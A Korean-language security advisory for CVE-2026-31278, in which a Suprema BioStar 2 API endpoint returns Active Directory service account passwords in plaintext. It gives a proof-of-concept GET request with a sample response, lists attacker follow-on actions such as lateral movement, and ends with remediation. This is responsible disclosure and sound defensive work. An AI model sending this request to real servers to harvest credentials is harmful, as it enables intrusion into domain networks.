CVE-2026-31278 Suprema BioStar 2: Active Directory 자격 증명 노출

메타데이터

요약

Suprema BioStar 2에는 Active Directory 통합 설정을 부적절하게 처리하여 발생하는 민감한 정보 노출 취약점이 존재합니다. 백엔드 API 엔드포인트 /api/v2/setting/adserversetting은 관리 UI에서 비밀번호가 마스킹되어 있음에도 불구하고 Active Directory 바인드 계정 자격 증명을 평문으로 반환합니다.

영향을 받는 버전

• BioStar 2 Core / AC v2.9.5.29
• BioStar 2 T&A v2.9.5.3

기술적 세부 사항

관리 인터페이스에서는 비밀번호 필드가 마스킹되어 있지만, 백엔드 API에 대한 인증된 요청은 비활성화된 SSL 통신을 포함한 LDAP 구성 매개변수와 함께 전체 암호화되지 않은 비밀번호를 노출합니다.

인증된 공격자는 AD 서버 구성 엔드포인트로 HTTP GET 요청을 전송하고 서버 응답 내에서 Active Directory 서비스 계정 비밀번호를 평문으로 수신합니다.

개념 증명

요청:

GET /api/v2/setting/adserversetting HTTP/1.1
Host: <target>
Authorization: Bearer <token>

응답:

{
  "ad_server": "ldap://internal.domain.local",
  "bind_dn": "CN=svc_biostar,DC=domain,DC=local",
  "password": "<plaintext_password_returned_here>",
  "ssl_enabled": false
}

영향

인증된 공격자는 노출된 자격 증명을 활용하여 다음을 수행할 수 있습니다:

• Active Directory에 대해 LDAP 인증 수행
• 도메인 사용자, 그룹 및 조직 구성 단위 열거
• 내부 네트워크 정찰 수행
• 도메인 연결 시스템 전반에 걸친 측면 이동 수행
• 서비스 계정 권한에 따라 권한 상승 가능성

타임라인

MITRE에서 CVE-2026-31278 지정 | 수정 버전 BioStar 2 v2.9.12 / BioStarX v1.0.2 릴리스 |

해결 방안

• BioStar 2 v2.9.12 또는 BioStarX v1.0.2로 업데이트
• 모든 Active Directory 서비스 계정 자격 증명을 즉시 교체
• API 접근을 신뢰할 수 있는 네트워크 세그먼트로만 제한
• Active Directory 통신에 LDAPS(SSL) 활성화

참고 자료

• Suprema Inc.: https://www.supremainc.com

크레딧

Abdullah Alannaz 보안 연구원

이 취약점은 Suprema에 책임 있게 공개되었습니다. 공급업체는 문제를 확인하고 CVE 지정을 위해 MITRE와 협력했습니다.